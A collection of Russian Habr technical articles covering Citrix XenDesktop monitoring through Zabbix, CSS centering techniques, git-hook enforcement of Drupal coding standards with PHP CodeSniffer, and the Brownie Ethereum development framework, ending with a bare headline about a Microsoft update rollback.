Для отслеживания правильности работы Citrix XenDesktop фермы был выпущен продукт Citrix Director который вроде и удобен для сотрудников (первой линии), но он совершенно не пригоден для мониторинга и получение оповещений ответственным за сопровождение самой системы Citrix XenDesktop.
Я реализовал интеграцию Citrix XenDesktop и zabbix для того чтобы коллегам было проще работать и администрировать Citrix-ферму.
можем контролировать
**Delivery Group**
* Кол-во сессий Connected/Disconnected, Concurrent, Desktop
* Хосты в состоянии FailedToStart/None/StuckOnBoot/Unknown/Unregistered
* Были ли ошибки по ограничению подключений MaxCapacity
* Список сбойных сессий и список сбойных хостов с подробностями
**Applications**
* динамику запуска приложений и отслеживать приложения которые пользователи не запускают
**Connection Failure Application / Desktop**
* по типам ошибок
* всего ошибок
На перспективу, можно реализовать:
* отчет об использовании Applications
* отчет самого невезучего пользователя/хоста (top Failed)
* аналитика по утилизации CPU/MEM
* аналитика по утилизации лицензий
Работа строится через API Citrix XenDesktop, ссылки для осмысления:
* [Citrix Monitor Service API](https://developer-docs.citrix.com/projects/monitor-service-odata-api/en/latest/)
* [Access Monitor Service data using the OData v4 endpoint in Citrix Cloud](https://developer-docs.citrix.com/projects/access-monitor-service-data-citrix-cloud/en/latest/)
* [Introducing New OData API for XenApp & XenDesktop’s Monitor Service](https://www.citrix.com/blogs/2017/12/04/introducing-new-odata-api-for-xenapp-xendesktops-monitor-service/)
* [Мой репозитарий](https://github.com/dima-sheihin/zabbix-citrix)
План запуска технологии следующий:
1) Импортируем шаблоны Template CitrixApplications.xml, Template CitrixConnectionFailure.xml, Template CitrixConnectionFailureApplications.xml, Template CitrixConnectionFailureDesktop.xml, Template CitrixDeliveryGroup.xml, Template CitrixMachines.xml в мониторинг, мы используем zabbix 5.0.5, возможны ошибки несовместимости шаблонов с другими версиями мониторинга.
2) Создаем хост-группы.
3) Помещаем файлы citrix-app-activity, citrix-connection-failure, citrix-connection-failure-userlog, citrix-dg-machine-failure-logs, citrix-dg-session, citrix-dg-session-desktop, citrix-zabbix-create-cache, citrix-zabbix-create-delete-host, citrix.pm, z\_sender.pm на сервер мониторинга, обеспечиваем зависимости и запуск скриптов без ошибок зависимостей.
4) В Citrix XenDesktop ферме, создаем пользователя с правами read-only на все объекты.
5) Поправим файл **citrix.pm:**
```
'user' => $args{user} || 'citrix_user',
'password' => $args{password} || '123',
'host' => $args{host} || 'dc.host.com',
'cache_files' => '/usr/zabbix-citrix/cache.json',
```
6) Поправим файл **citrix-zabbix-create-delete-host:**
```
$work{template}->{macro} = '{$MACRO}';
$work{zabbix}{CitrixApplications}->{template} = 'Template CitrixApplications';
$work{zabbix}{CitrixApplications}->{templateid} = undef;
$work{zabbix}{CitrixApplications}->{hostgroup} = 'CitrixApplications';
$work{zabbix}{CitrixApplications}->{hostgroupid} = undef;
$work{zabbix}{CitrixApplications}->{citrix_set} = 'Applications';
$work{zabbix}{CitrixApplications}->{citrix_prefix} = 'CitrixApp';
$work{zabbix}{CitrixApplications}->{citrix_select} = 'Id,Name';
$work{zabbix}{CitrixApplications}->{citrix_select_Name} = 'Name';
$work{zabbix}{CitrixDeliveryGroup}->{template} = 'Template CitrixDeliveryGroup';
$work{zabbix}{CitrixDeliveryGroup}->{templateid} = undef;
$work{zabbix}{CitrixDeliveryGroup}->{hostgroup} = 'CitrixDeliveryGroup';
$work{zabbix}{CitrixDeliveryGroup}->{hostgroupid} = undef;
$work{zabbix}{CitrixDeliveryGroup}->{citrix_set} = 'DesktopGroups';
$work{zabbix}{CitrixDeliveryGroup}->{citrix_prefix} = 'CitrixDG';
$work{zabbix}{CitrixDeliveryGroup}->{citrix_select} = 'Id,Name';
$work{zabbix}{CitrixDeliveryGroup}->{citrix_select_Name} = 'Name';
$work{zabbix}{CitrixMachines}->{template} = 'Template CitrixMachines';
$work{zabbix}{CitrixMachines}->{templateid} = undef;
$work{zabbix}{CitrixMachines}->{hostgroup} = 'CitrixMachines';
$work{zabbix}{CitrixMachines}->{hostgroupid} = undef;
$work{zabbix}{CitrixMachines}->{citrix_set} = 'Machines';
$work{zabbix}{CitrixMachines}->{citrix_prefix} = 'CitrixHost';
$work{zabbix}{CitrixMachines}->{citrix_select} = 'Id,Name,HostedMachineName';
$work{zabbix}{CitrixMachines}->{citrix_select_Name} = 'HostedMachineName';
my $zabbix;
eval {
$zabbix = Zabbix::Tiny->new( server => "http://ххх.хх.хх.хх/api_jsonrpc.php", user => "ххххх", password => "ххх" );
if ( ! defined $zabbix ) {
print "fatal, exit\n";
exit;
}
};
Убедимся в наличии шаблонов в мониторинге:
{template} = 'Template CitrixApplications';
{template} = 'Template CitrixDeliveryGroup';
{template} = 'Template CitrixMachines';
Убедимся в наличии хост-группы в мониторинге:
{hostgroup} = 'CitrixApplications'; <- тут будут созданы все Applications
{hostgroup} = 'CitrixDeliveryGroup'; <- тут будут созданы все DeliveryGroup
{hostgroup} = 'CitrixMachines'; <- тут будут созданы все Machines или про простому сервера
```
Скрипт **citrix-zabbix-create-delete-host** подключается к Citrix-ферме и к zabbix-серверу, определяет: объекты не созданные в мониторинге - создает их; объекты удаленные из Citrix-фермы - удаляет их из мониторинга. Все взаимодействие через присоединенные шаблоны в мониторинге, поэтому не бойтесь другие объекты не относящиеся к Citrix скрипт удалять из мониторинга не будет.
Выполним **citrix-zabbix-create-delete-host** , нужно добится того чтобы все CitrixDeliveryGroup CitrixApplications CitrixMachines были отзеркалированы в мониторинге.
```
[root@zabbix]# ./citrix-zabbix-create-delete-host
system [CitrixMachines] no set name vserver [...], (...\CTXIMG...) skip
system [CitrixMachines] no set name vserver [...], (...\CTXIMG...) skip
system [CitrixMachines] no set name vserver [...], (...\CTXIMG...) skip
New host ID 24441 hosts [CitrixHost_....]
New host ID 24442 hosts [CitrixHost_....]
New host ID 24443 hosts [CitrixHost_....]
New host ID 24444 hosts [CitrixHost_....]
New host ID 24445 hosts [CitrixHost_....]
New host ID 24446 hosts [CitrixHost_....]
Press any key to continue...
```
7) Поправим **citrix-zabbix-create-cache** файл, авторизацию, после нужно добится того, чтобы был примерно такой вывод:
```
[root@zabbix]# ./citrix-zabbix-create-cache
CheckCache Loading Users ...[ok]
CheckCache Loading Machines ...[ok]
CheckCache Loading Applications ...[ok]
CheckCache Loading DesktopGroup (DeliveryGroup) ...[ok]
CheckCache Loading MonitoringEnums ...[ok]
SaveCache saves files ...[ok]
LoadCache load files ...[ok]
Users хх
Machines хх
Applications хх
DeliveryGroup хх
Enums хх
Press any key to continue...
```
8) Далее вернемся в web-интерфейс мониторинга.
Обратите внимание, шаблон **Template CitrixDeliveryGroup** содержит полный список всех **DeliveryGroup,** которые есть в ферме.
В зависимости от того как у вас сгруппированы DG по функциональному назначению, можно добавить по вкусу один, два или три шаблона к той или иной DeliveryGroup:
* Template CitrixConnectionFailureDesktop
* Template CitrixConnectionFailureApplications
* Template CitrixConnectionFailure
После добавления скрипты которые будут отрабатывать на уровне сервера, будут определять какие DeliveryGroup подключены к тому или иному шаблону и добавлять статистические данные по ним
9) Поочередно проверьте файлы, добавив авторизацию там где это требуется: **citrix-app-activity**, **citrix-connection-failure**, **citrix-connection-failure-userlog**, **citrix-dg-machine-failure-logs**, **citrix-dg-session**, **citrix-dg-session-desktop** нормальная работа скриптов может выглядеть так:
```
[root@zabbix]# ./citrix-app-activity
LoadCache load files ...[ok]
Response from "127.0.0.1:10051": "processed: 28; failed: 0; total: 28; seconds spent: 0.000673"
sent: 28; skipped: 0; total: 28
Press any key to continue...
[root@zabbix]# ./citrix-connection-failure
LoadCache load files ...[ok]
Response from "127.0.0.1:10051": "processed: 126; failed: 120; total: 246; seconds spent: 0.005331"
sent: 246; skipped: 0; total: 246
Response from "127.0.0.1:10051": "processed: 129; failed: 117; total: 246; seconds spent: 0.001971"
sent: 246; skipped: 0; total: 246
Response from "127.0.0.1:10051": "processed: 141; failed: 105; total: 246; seconds spent: 0.001910"
sent: 246; skipped: 0; total: 246
Response from "127.0.0.1:10051": "processed: 141; failed: 105; total: 246; seconds spent: 0.001883"
sent: 246; skipped: 0; total: 246
Response from "127.0.0.1:10051": "processed: 31; failed: 29; total: 60; seconds spent: 0.000470"
sent: 60; skipped: 0; total: 60
Press any key to continue...
[root@zabbix]# ./citrix-connection-failure-userlog
LoadCache load files ...[ok]
Response from "127.0.0.1:10051": "processed: 1; failed: 0; total: 1; seconds spent: 0.000048"
sent: 1; skipped: 0; total: 1
Press any key to continue...
[root@zabbix]# ./citrix-dg-machine-failure-logs
LoadCache load files ...[ok]
Response from "127.0.0.1:10051": "processed: 246; failed: 0; total: 246; seconds spent: 0.002216"
sent: 246; skipped: 0; total: 246
Response from "127.0.0.1:10051": "processed: 18; failed: 0; total: 18; seconds spent: 0.000323"
sent: 18; skipped: 0; total: 18
Press any key to continue...
[root@zabbix]# ./citrix-dg-session
LoadCache load files ...[ok]
Response from "127.0.0.1:10051": "processed: 99; failed: 0; total: 99; seconds spent: 0.000860"
sent: 99; skipped: 0; total: 99
Press any key to continue...
[root@zabbix]# ./citrix-dg-session-desktop
LoadCache load files ...[ok]
Response from "127.0.0.1:10051": "processed: 33; failed: 0; total: 33; seconds spent: 0.000751"
sent: 33; skipped: 0; total: 33
Press any key to continue...
```
Замучил наверно, где результат того, ради чего это все затевалось :)
**Ниже, динамика одной конкретной Citrix Delivery Group**
График по сессиям:
Ошибки Desktop:
Ошибки серверов:
Ошибки Application:
Информация об ошибках и пользователях:
На момент написания статьи ошибок по серверам не было, обычно при пере-лимите подключений вываливаются списком что зафиксирован перелимит:
Ту же самую информацию можно получить с Citrix Director, однако в стандартной комплектации Citrix Director не может отправлять уведомления по конкретным DG а шлет по всем сразу, неудобно и не практично реализован механиз уведомлений, да и строить удобные графики там проблематично.
При интеграции с мониторингом можно и графики удобные строить и аналитику вести и уведомления получать своевременно.
История проблем по Citrix-ферме может выглядеть примерно так:
Триггеры подсвечивают, сколько приложений не запускались пользователями:
Весь борд показать не могу, но ключевые интересные штуки отразил
Парням обслуживающим Citrix-ферму, стало намного проще ориентироватся, так как они узнают о ЧП не от первой линии или пользователей а от мониторинга, получая уведомления о проблеме быстро и своевременно. | https://habr.com/ru/post/571824/ | null | ru | null |
# Абсолютное горизонтальное и вертикальное центрирование
*Сколько уже было сломано копий о задачу выравнивания элементов на странице. Предлагаю вашему вниманию перевод отличной статьи с решением этой проблемы от Стефана Шоу (Stephen Shaw) для Smashing Magazine — [Absolute Horizontal And Vertical Centering In CSS](http://coding.smashingmagazine.com/2013/08/09/absolute-horizontal-vertical-centering-css/).*
Все мы знали о **margin: 0 auto;** для горизонтального центрирования, но **margin: auto;** не работало для вертикального. Это можно легко исправить, просто задав высоту и применив следующие стили:
```
.Absolute-Center {
margin: auto;
position: absolute;
top: 0; left: 0; bottom: 0; right: 0;
}
```
Я не первый, кто предложил это решение, однако такой подход редко применяется при вертикальном выравнивании. В комментариях к статье [How to Center Anything With CSS](http://designshack.net/articles/css/how-to-center-anything-with-css) Simon [ссылается](http://designshack.net/articles/css/how-to-center-anything-with-css/#comment-684580538) на пример [jsFiddle](http://jsfiddle.net/mBBJM/1/), где приводится отличное решение для вертикального центрирования. [Вот еще](http://www.vanseodesign.com/css/vertical-centering/) [несколько](http://www.student.oulu.fi/~laurirai/www/css/middle/) [источников](http://blog.themeforest.net/tutorials/vertical-centering-with-css/) на эту тему.
Рассмотрим способ поближе.
#### Достоинства
* Кроссбраузерность (включая IE 8-10)
* Никакой дополнительной разметки, минимум стилей
* Адаптивность
* Независимость от **padding** (без **box-sizing**!)
* Работает для изображений
#### Недостатки
* Должна быть задана высота (см. [Variable Height](http://coding.smashingmagazine.com/2013/08/09/absolute-horizontal-vertical-centering-css/#Height))
* Рекомендуется задать **overflow: auto**, чтобы контент не расползался
* Не работает на Windows Phone
#### Совместимость с браузерами
Метод был протестирован, и прекрасно работает в Chrome, Firefox, Safari, Mobile Safari и даже IE 8-10. Один пользователь упоминал, что контент не выравнивается по вертикали на Windows Phone.
#### Внутри контейнера
Контент, размещенный в контейнер с **position: relative** будет прекрасно выравниваться:
```
.Absolute-Center {
width: 50%;
height: 50%;
overflow: auto;
margin: auto;
position: absolute;
top: 0; left: 0; bottom: 0; right: 0;
}
```
#### С использованием viewport
Установим для контента position: fixed и зададим z-index:
```
.Absolute-Center.is-Fixed {
width: 50%;
height: 50%;
overflow: auto;
margin: auto;
position: fixed;
top: 0; left: 0; bottom: 0; right: 0;
z-index: 999;
}
```
[Смотреть демонстрацию](http://codepen.io/shshaw/full/gEiDt#Fixed)
#### Адаптивность
Главное преимущество описываемого способа — это прекрасная работа, когда высота или ширина задана в процентах, да еще и понимание **min-width/max-width** и **min-height/max-height**.
```
.Absolute-Center.is-Responsive {
width: 60%;
height: 60%;
min-width: 400px;
max-width: 500px;
padding: 40px;
overflow: auto;
margin: auto;
position: absolute;
top: 0; left: 0; bottom: 0; right: 0;
}
```
#### Смещения
Если на сайте присутствует фиксированная шапка или требуется сделать какой-то другой отступ, просто нужно добавить в стили код вроде **top: 70px;** Пока задан **margin: auto;** блок с контентом будет корректно центрироваться по высоте.
Еще можно выравнивать контент по нужной стороне, оставляя центрирование по высоте. Для этого нужно использовать **right: 0; left: auto;** для выравнивания справа или **left: 0; right: auto;** для выравнивания слева.
```
.Absolute-Center.is-Right {
width: 50%;
height: 50%;
margin: auto;
overflow: auto;
position: absolute;
top: 0; left: auto; bottom: 0; right: 20px;
text-align: right;
}
```
#### Много контента
Для того, чтобы большое количество контента не позволяло верстке разъезжаться, используем **overflow: auto**. Появится вертикальная прокрутка. Также можно добавить **max-height: 100%;** если у контента нет дополнительных отступов.
```
.Absolute-Center.is-Overflow {
width: 50%;
height: 300px;
max-height: 100%;
margin: auto;
overflow: auto;
position: absolute;
top: 0; left: 0; bottom: 0; right: 0;
}
```
#### Изображения
Способ отлично работает и для изображений! Добавим стиль **height: auto;** тогда картинка будет масштабироваться вместе с контейнером.
```
.Absolute-Center.is-Image {
width: 50%;
height: auto;
margin: auto;
position: absolute;
top: 0; left: 0; bottom: 0; right: 0;
}
```
#### Изменяемая высота
Описываемый способ требует заданной высоты блока, которая может быть указана в процентах и контролироваться с помощью **max-height**, что делает метод идеальным для адаптивных сайтов. Один из способов не задавать высоту — использование **display: table**. При этом блок контента центрируется независимо от размера.
Могут возникнуть проблемы с кроссбраузерностью, возможно следует использовать способ с table-cell (описан ниже).
* **Firefox/IE8:** использование **display: table** выравнивает блок вертикально по верхней границе документа.
* **IE9/10:** использование **display: table** выравнивает блок по левому верхнему углу страницы.
* **Mobile Safari:** если ширина задана в процентах, страдает горизонтальное центрирование
```
.Absolute-Center.is-Variable {
display: table;
width: 50%;
overflow: auto;
margin: auto;
position: absolute;
top: 0; left: 0; bottom: 0; right: 0;
}
```
Другие способы
--------------
Описанный способ отлично работает в большинстве случаев, но есть и другие методы, которые могут быть применимы для решения специфических задач.
#### Отрицательный margin
Наверное, самый популярный способ. Подходит, если известны размеры блока.
```
.is-Negative {
width: 300px;
height: 200px;
padding: 20px;
position: absolute;
top: 50%; left: 50%;
margin-left: -170px; /* (width + padding)/2 */
margin-top: -120px; /* (height + padding)/2 */
}
```
Преимущества:
* Кроссбраузерность
* Минимальный код
Недостатки:
* Не адаптивный
* Ползет верстка, если в контейнере слишком много контента
* Приходится компенсировать отступы или использовать **box-sizing: border-box**
#### Использование transform
Один из самых простых способов, поддерживает изменение высоты. Есть подробная статья на эту тему — "[Centering Percentage Width/Height Elements](http://css-tricks.com/centering-percentage-widthheight-elements/)" от CSS-Tricks.
```
.is-Transformed {
width: 50%;
margin: auto;
position: absolute;
top: 50%; left: 50%;
-webkit-transform: translate(-50%,-50%);
-ms-transform: translate(-50%,-50%);
transform: translate(-50%,-50%);
}
```
Преимущества:
* Изменяемая высота
* Минимальный код
Недостатки:
* Не работает в IE 8
* Использование префиксов
* Может мешать работе других эффектов с **transform**
* В некоторых случаях при рендеринге размываются края блока и текст
#### Table-cell
Возможно один из самых лучших и простых способов. Подробно описан в статье "[Flexible height vertical centering with CSS, beyond IE7](http://www.456bereastreet.com/archive/201103/flexible_height_vertical_centering_with_css_beyond_ie7/)" от 456bereastreet. Главный недостаток — дополнительная разметка: требуется аж три элемента:
```
<!-- CONTENT -->
```
CSS:
```
.Pos-Container.is-Table { display: table; }
.is-Table .Table-Cell {
display: table-cell;
vertical-align: middle;
}
.is-Table .Center-Block {
width: 50%;
margin: 0 auto;
}
```
Преимущества:
* Изменяемая высота
* Верстка не едет при большом количестве текста в блоке
* Кроссбраузерность
Недостатки:
* Сложная структура
#### Flexbox
Будущее CSS, flexbox будет решать множество сегодняшних проблем верстки. Подробно об этом написано в статье Smashing Magazine, которая называется [Centering Elements with Flexbox](http://coding.smashingmagazine.com/2013/05/22/centering-elements-with-flexbox/).
```
.Pos-Container.is-Flexbox {
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-align: center;
-moz-box-align: center;
-ms-flex-align: center;
-webkit-align-items: center;
align-items: center;
-webkit-box-pack: center;
-moz-box-pack: center;
-ms-flex-pack: center;
-webkit-justify-content: center;
justify-content: center;
}
```
Преимущества:
* Контаент может быть любой высоты или ширины
* Может использоваться в более сложных случаях
Недостатки:
* Нет поддержки IE 8-9
* Требуется контейнер или стили в body
* Требует [множество разнообразных префиксов](http://css-tricks.com/using-flexbox/) для корректной работы в современных браузерах
* Возможные [проблемы производительности](http://css-tricks.com/does-flexbox-have-a-performance-problem/)
#### Итог
Каждый способ имеет преимущества и недостатки. По сути, выбор сводится к выбору браузеров, которые должны поддерживаться
 | https://habr.com/ru/post/189696/ | null | ru | null |
# Проверка соблюдения стандартов кодирования РHP через git
В разработке проекта зачастую принимают участие разработчики разного уровня. Это приводит к тому, что нет строгого формата написания кода. За качеством кода на проекте приходится постоянно следить старшим разработчикам и это отнимает у них кучу времени.
Для того чтобы ~~наказать говнокодеров~~ облегчить страдания тех, кто делает ревью кода, можно использовать автоматические средства проверки кода, которые всем давно известны. Это PEAR и PHP Code Sniffer.
Большинство проектов компании где я работаю, сделаны на Drupal, поэтому будет рассмотрен пример проверки соблюдения стандартов кодирования Drupal, хотя все описанные ниже средства можно применить и для других стандартов, например Zend.
Сравнительно недавно появился набор правил для проверки стандартов кодирования Drupal через PHP Code Sniffer. Установить и настроить его очень просто, самое сложное начинается дальше. Как же заставить всех проверять свой код? Сказывается влияние человеческого фактора, первый забыл, второй не захотел, а третий просто считает, что его код не может содержать ошибок и вообще все это лишняя трата времени.
Решением может стать ~~насильное~~ добровольно-принудительное внедрение проверки кода в процесс разработки. Для того чтобы нам не пришлось стоять с палкой над каждым программистом, воспользуемся системой контроля версий git. Благодаря хукам git можно легко добавить свои скрипты, которые будут выполняться при определенных операциях git, например commit.
Первым шагом будет добавление скрипта проверки кода в хук pre-commit. Когда разработчик коммитит свой код, измененные файлы автоматически будут проверяться. В случае, если будут найдены ошибки, операция коммита прерывается и на экран выводится список ошибок:
Код можно будет закоммитить только тогда, когда все ошибки будут исправлены. Отлично, теперь мы не позволяем добавлять «плохой» код в репозиторий проекта! Но по прежнему остается человеческий фактор. Снова кто-то забывает добавить скрипт проверки в папку .git/hooks своего проекта, кому-то сейчас лень исправлять ошибки и он откладывает на потом и т.д., а «самые умные» просто используют git commit --no-verify, потому что сейчас им не до ошибок. В последнем случае git не вызовет хук pre-commit и измененные файлы попадут в репозиторий без проверки.
Для того чтобы бороться с этим воспользуемся хуком post-receive. Этот хук срабатывает после добавления кода в удаленный репозиторий. Скрипт, который будет вызываться в хуке post-receive, проверяет измененные файлы на наличие ошибок и отправляет отчет на почтовый ящик одного или нескольких старших разработчиков, которые отвечают за качество кода на проекте.
Отчет отправляемый по почте выглядит так:
Таким образом легко автоматизировать процесс контроля за качеством кода на проекте.
**Сильные стороны этого способа:**
* Централизованный контроль;
* Нельзя полностью избежать проверки кода;
* Скрипты проверки кода не изменяют исходные файлы и не блокируют добавление кода в случае хотфикса;
* Скрипты легко установить и настроить;
* Помимо ошибок стандартов кодирования Drupal, отображаются функциональные ошибки. Например о том, что вы забыли использовать функцию t или check\_plain (а это уже дыра в безопасности) при выводе данных на страницу.
**Недостатки:**
* Если добавить это средство в середине разработки, все старые ошибки проявятся и поначалу сложно будет их разгрести.
**Ресурсы:**
* [Drupal Code Sniffer](http://drupal.org/project/drupalcs)
* [Набор скриптов для автоматической проверки кода через git](http://badscript.net/sites/default/files/attached/git_hooks.zip)
* [Инструкция по установке и настройке скриптов на русском языке](http://badscript.net/blogpost/avtomaticheskaya-proverka-drupal-code-style-cherez-git)
**UPD 19.05.2012:**
**Добавлена возможность игнорирования проверки файлов с использованием файла конфигурации.**
Для того чтобы не проверять некоторые файлы и директории, вам нужно создать в корне проекта файл .hooks\_ignore. Затем поместить в нем пути к файлам и директориям, которые вы не хотите проверять. Это может быть ядро движка или модули сторонних разработчиков.
Пример содержимого файла .hooks\_ignore
`includes
sites/all/modules/contrib
sites/all/themes/garland/template.php`
Первые две строки позволяют исключать из проверки полностью директорию со всеми файлами внутри, а третья исключает конкретный файл.
Для большего удобства файл .hooks\_ignore следует внести под контроль версий, чтобы он тоже хранился в репозитории и был общим для всех разработчиков на проекте. А также чтобы хук post-receive мог использовать его при проверке в удаленном репозитории.
Исходные коды на Drupal.org и GitHub были обновлены.
Жду ваших пожеланий и замечаний по этому небольшому проекту. | https://habr.com/ru/post/141447/ | null | ru | null |
# Ethereum + Python = Brownie
Салют, дорогой криптоэнтузиаст!
Сегодня речь пойдёт о [Brownie](https://github.com/iamdefinitelyahuman/brownie) — аналоге фреймворка [Truffle](https://github.com/trufflesuite/truffle), который часто используется для разработки умных контрактов на Solidity, их тестирования и развёртывания (о чём можно почитать в цикле соответствующих статей [здесь](https://habr.com/ru/post/348656/)).
Так зачем же нужен ещё один фреймворк и в чём его ключевое отличие от Truffle?
* Во-первых, в них используются разные языки — в то время, как Truffle опирается на JS, не все знают этот язык и не всем его комфортно использовать; в brownie же в используется Python 3.
* Во-вторых, brownie за счёт интеграций различного софта делает разработку удобнее: тут и менеджер пакетов ethpm для умных контрактов, и ganache для развёртывания локальной тестовой цепочки, и тесты через pytest, и все версии компиляторов solc, и даже биндинги к MythX — инструменту для автоматического поиска ошибок в умных контрактах,- иначе говоря brownie предлагает инструменты для всего цикла разработки. Конечно Truffle тоже позволяет использовать все эти инструменты, однако они не встроены во фреймворк и их приходится устанавливать дополнительно.
* В-третьих, brownie позволяет работать не только с умными контрактами на Solidity, но и на [vyper](https://github.com/vyperlang/vyper) — типизированном python-based для разработки умных контрактов.
Таким образом, если вы предпочитаете работать с пайтоном и хотите упростить себе разработку умных контрактов, то однозначно стоит попробовать brownie.
Что же ещё умеет brownie?
Как сказано в самом репозитории brownie — это фреймворк разработки полного цикла умных контрактов для Ethereum-based платформ, поддерживающий:
* Несколько языков программирования умных контрактов: Solidity и Vyper.
* Сборку контрактов.
* Интерактивное взаимодействие с контрактами.
* Тестирование умных контрактов с помощью pytest.
* Скрипты для взаимодействия с умными контрактами.
* Работу с шаблонами умных контрактов.
Рассмотрим все эти возможности и организацию проекта на brownie подробнее, для чего установим brownie себе на машину. Сделать это проще всего можно с помощью pip:
`pip install eth-brownie`
Теперь brownie доступен как консольная утилита.
**help для brownie**
```
brownie --help
Brownie v1.6.9 - Python development framework for Ethereum
Usage: brownie [...] [options ]
Commands:
init Initialize a new brownie project
bake Initialize from a brownie-mix template
ethpm Commands related to the ethPM package manager
compile Compiles the contract source files
console Load the console
test Run test cases in the tests/ folder
run Run a script in the scripts/ folder
accounts Manage local accounts
gui Load the GUI to view opcodes and test coverage
analyze Find security vulnerabilities using the MythX API
Options:
--help -h Display this message
Type 'brownie --help' for specific options and more information about
each command.
```
Проект brownie
==============
Проект brownie представляет из себя определённую структуру директорий и конфигурационный файл `brownie-config.yaml`. Создать проект можно либо с помощью команды `brownie init`
**Создание проекта с помощью init**
```
brownie init salut_habr
Brownie v1.6.9 - Python development framework for Ethereum
SUCCESS: Brownie environment has been initiated at salut_habr
```
либо можно создать проект на основе шаблона с помощью команды `brownie bake template_name`
**Создание проекта из шаблона**
```
brownie bake token
Brownie v1.6.9 - Python development framework for Ethereum
Downloading from https://github.com/brownie-mix/token-mix/archive/master.zip...
5.62kiB [00:00, 2.82MiB/s]
SUCCESS: Brownie mix 'token' has been initiated at token
```
Далее я рассмотрю второй вариант на основе шаблона для ERC-20 токена (шаблон token).
Рассмотрим структуру проекта:
```
├───build # Здесь хранится информация, полученная в результате сборки и деплоя.
│ ├───contracts # Здесь хранятся скомпилированные контракты, их ABI и метаданные.
│ └───deployments # Здесь хранятся данные о раздеплоенных в сети умных контрактах.
├───contracts # Сами контракты (код и библиотеки).
├───interfaces # Интерфейсы умных контрактов.
├───reports # Отчёты анализаторов.
├───scripts # Python скрипты с доступом к окружению проекта и возможностью вызова через run.
└───tests # Тесты на базе pytest для умных контрактов.
```
Стоит отметить, что помимо перечисленных директорий brownie имеет конфигурационный файл, который находится в корне проекта и называется `brownie-config.yaml` — в нём можно указать опции компилятора, данные для подключения к ноде или параметры тестирования.
Команды brownie
===============
brownie даже в базовой комплектации имеет множество команд, но я рассмотрю четыре из них, которые значительно чаще прочих используются в производственном цикле: `compile`, `console`, `test` и `run`.
brownie compile
---------------
Данная команда используется для компиляции умных контрактов, которые расположены в директории проекта contracts или её поддиректориях. Если необходимо, чтобы часть контрактов не компилировалась как самостоятельные единицы, то к названию файла или директории стоит приписать слева символ нижнего подчёркивания "\_",- в таком случае компилятор brownie будет их игнорировать (это полезно при подключении библиотек к проекту).
Собранные контракты помещаются в `./build/contracts/` в виде одноимённых json-файлов, которые содержат ABI контрактов, их байт-код и дополнительную мета-информацию.
При компиляции brownie запоминает, какие контракты были скомпилированы, а какие ещё нет и компилирует только их. Но если нужно перекомпилировать все контракты, то можно сделать это добавив флаг `-all`.
**Пример компиляции контрактов**
```
brownie compile --all
Brownie v1.6.9 - Python development framework for Ethereum
Compiling contracts...
Solc version: 0.5.17+commit.d19bba13.Windows.msvc
Optimizer: Enabled Runs: 200
EVM Version: Istanbul
Generating build data...
- Token...
- SafeMath...
Brownie project has been compiled at C:\Users\Default\Documents\token\build\contracts
```
Параметры компиляции, такие как версия компилятора или оптимизация кода, задаются в файле brownie-config.yaml
brownie test
------------
Этой командой запускаются тесты в проекте с использованием pytest, однако стоит заметить, что команда не возвращает никакое значение, поэтому есть трудности с интеграцией тестов в CI/CD.
**Пример тестирования контрактов**
```
brownie test
Brownie v1.6.9 - Python development framework for Ethereum
==================================================================================================== test session starts =====================================================================================================
platform win32 -- Python 3.8.3, pytest-5.4.1, py-1.8.1, pluggy-0.13.1
rootdir: C:\Users\Default\Documents\token
plugins: eth-brownie-1.6.9, hypothesis-5.5.4, forked-1.1.3, xdist-1.31.0, web3-5.5.1
collecting ... Launching 'ganache-cli.cmd --port 8545 --gasLimit 6721975 --accounts 10 --hardfork istanbul --mnemonic brownie'...
collected 7 items
tests\test_approve_transferFrom.py ...... [ 85%]
tests\test_transfer.py . [100%]
===================================================================================================== 7 passed in 9.35s ======================================================================================================
Terminating local RPC client...
```
Тесты в проекте хранятся в директории tests/
brownie run
-----------
С помощью данной команды осуществляется запуск скриптов из директории scripts. Однако передача параметров в них поддерживается только с версии brownie 2.x, но даже без них удобно использовать данный функционал для интеграции с CI/CD (например для деплоя контрактов).
**Деплой контрактов с помощью brownie run**
```
brownie run token
Brownie v1.6.9 - Python development framework for Ethereum
TokenProject is the active project.
Launching 'ganache-cli.cmd --port 8545 --gasLimit 6721975 --accounts 10 --hardfork istanbul --mnemonic brownie'...
Running 'scripts.token.main'...
Transaction sent: 0xe36fbf7d93c1c91bde5e9290128999ed06ea54eb68352fb477fa91ce8072f472
Gas price: 0.0 gwei Gas limit: 549953
Token.constructor confirmed - Block: 1 Gas used: 549953 (100.00%)
Token deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87
Terminating local RPC client...
```
brownie console
---------------
Запускает интерактивный режим brownie: по сути он является интерпретатором установленной версии питона, но с заранее импортированными пространствами имён для проекта. Например для проекта токена мы имеем следующие переменные сразу после запуска:
```
brownie console
Brownie v1.6.9 - Python development framework for Ethereum
TokenProject is the active project.
Launching 'ganache-cli.cmd --port 8545 --gasLimit 6721975 --accounts 10 --hardfork istanbul --mnemonic brownie'...
Brownie environment is ready.
>>> dir()
[Fixed, Gui, SafeMath, Token, Wei, a, accounts, alert, compile_source, config, dir, history, network, project, rpc, run, web3]
```
Информацию о их назначении можно найти в [документации brownie](https://eth-brownie.readthedocs.io/en/stable/), однако подавляющая часть имён имеет то же предназначение, что и в web3py.
Работа с майнетом/тестнетами
----------------------------
Во всех примерах выше brownie поднимал ganache (локальное тестовое окружение Ethereum) и работал с ним, однако есть возможность работы с произвольной выбранной сетью (в том числе с приватным тестнетом и даже с Quorum!). Для этого используется параметр `--network network_name` при выполнении команд console и run, где network\_name должна быть описана в brownie-config.yaml. По умолчанию там уже заданы майнеты ETH и ETC, а также локальный и публичные тестнеты. Однако можно добавлять свои сети в том числе добавляя в их свойства свои собственные параметры, если yaml позволяет это сделать. Обычно я при работе создаю дополнительно сети develop, test и master (по названиям веток в гите), а их блокчейны разворачиваю в Azure с помощью [специальной службы](https://azure.microsoft.com/ru-ru/solutions/blockchain/#latest-information).
Подводя итог можно сказать, что brownie на текущий момент уже достаточно зрелое Enterpise-ready решение для разработки под Ethereum и способен удовлетворить практически все возникающие в её процессе потребности. Питонистам и не только однозначно стоит попробовать сделать на нём свой следующий проект. | https://habr.com/ru/post/509618/ | null | ru | null |
# Microsoft откатила обновление из-за проблем с запуском приложений
